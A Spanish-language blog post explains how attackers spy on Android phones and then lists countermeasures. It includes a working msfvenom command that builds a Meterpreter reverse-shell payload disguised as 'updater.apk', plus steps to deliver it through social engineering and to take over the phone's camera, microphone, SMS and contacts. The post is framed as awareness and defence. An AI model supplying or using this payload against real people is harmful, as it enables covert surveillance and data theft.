Post 18 | pelucho

11 de septiembre de 2015

Así los hackers utilizan tu celular para espiarte

En este post mostraré como te pueden espiar, por medio de tu teléfono con sistema Android y cómo protegerte.

Android: es un sistema operativo que utilizan algunos dispositivos móviles para poder funcionar.

Ten en cuenta

Ilustración.

En Ecuador se ha puesto muy de moda el tema del espionaje. Varios amigos me han preguntado si es posible que te espíen a través de tu celular, intercepten tus llamadas y mensajes, graben tus conversaciones, e incluso te tomen fotos y videos con tu propio teléfono. La respuesta es un rotundo SI.

Los teléfonos inteligentes de hoy son computadores personales. Los sistemas operativos como Android o el iOS del Iphone son presas fáciles. El mayor problema de seguridad de estos dispositivos radica en que los usuarios no han tomado conciencia aún de lo fácil que es el espionaje a través de ellos.

Cabe resaltar que los programas espías hoy en día no son solo utilizados por delincuentes informáticos, sino también por Gobiernos. Prueba de ello son casos sonados como el espionaje de la National Security Agency (NSA) revelado por Edward Snowden, o el reciente caso de la empresa italiana Hacking Team (HT) revelado por Wikileaks.

A continuación, muestro lo fácil que es instalar programas de espionaje en teléfonos con sistema Android a través de la ingeniería social. Lo importante de este post es revisar las medidas para reducir el riesgo de ser espiado.

Manos a la obra

1. Creamos un payload utilizando Metasploit (puedes descargarlo desde http://www.metasploit.com/). Para ello utilizamos el siguiente comando:

~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.13 LPORT=4444 R > update.sdk

Descripción:
msfvenom: Es la herramienta de metasploit, que permitirá al hacker generar el programa espía.
Android/meterpreter/reverse_tcp : Es el payload, el programa que permitirá interactuar con el teléfono hackeado.
LHOST: Es la dirección IP desde donde se corres el programa (el host de tu computador).
LPORT: Es el puerto por el que entrará la conexión hacia el teléfono hackeado.
R > updater.apk : El resultado es una aplicación para android con extensión apk.

Una vez generado el programa, el hacker envía el programa espía a la víctima a través de algún servicio de cloud como google apps, o dropbox.

2. En su máquina, el hacker arranca el metasploit con el comando:

~#msfconsole

3. Ahora el hacker arranca el exploit multi handler, que quedará en esperá a que la víctima instale el programa espía (sigue los comandos del screenshot):

4. Una vez que la víctima haya bajado el programa malicioso, este lucirá como una aplicación normal de Android, empacada como como updater.apk, y la aplicación llamada Main Activity:

5. La víctima instalará la aplicación, e inmediatamente será infectada:

6. Y así, el hacker habrá recibido la conexión desde el teléfono espiado:

7. A continuación el hacker podrá descargar los mensajes sms, los contactos, grabar audio con el micrófono del teléfono espiado, tomar fotos desde su webcam, y muchas cosas más.

8. Ahora el hacker estará en capacidad de activar la webcam del teléfono espiado:

9. El hacker, por ejemplo, usará la cámara de atrás:

10. Ahora, el hacker podría tener una foto desde el teléfono espiado. En mi caso, verán mi llavero de guitarra ¨las vegas¨ sobre mi laptop:

CONTRAMEDIDAS
1. Descargar aplicaciones solamente desde fuentes conocidas. En el caso de Android, hablamos de playstore. Esto reducirá en gran medida el riesgo de desacargar malware.

2. Instalar un programa de antivirus en nuestro teléfono. Como hemos visto en posts anteriores, los anti-virus también pueden ser burlados. Sin embargo, agregan otra capa de seguridad.

3. Guardar información confidencial utilizado técnicas de cifrado y steganografía.

4. Si necesitas que tu vida sea ultra-confidencial, o si no puedes cumplir con las tres condiciones anteriormente señaladas, tal vez deberías considerar dejar de usar smartphones.

En una próxima edición seguiremos explorando las posibilidades de metasploit.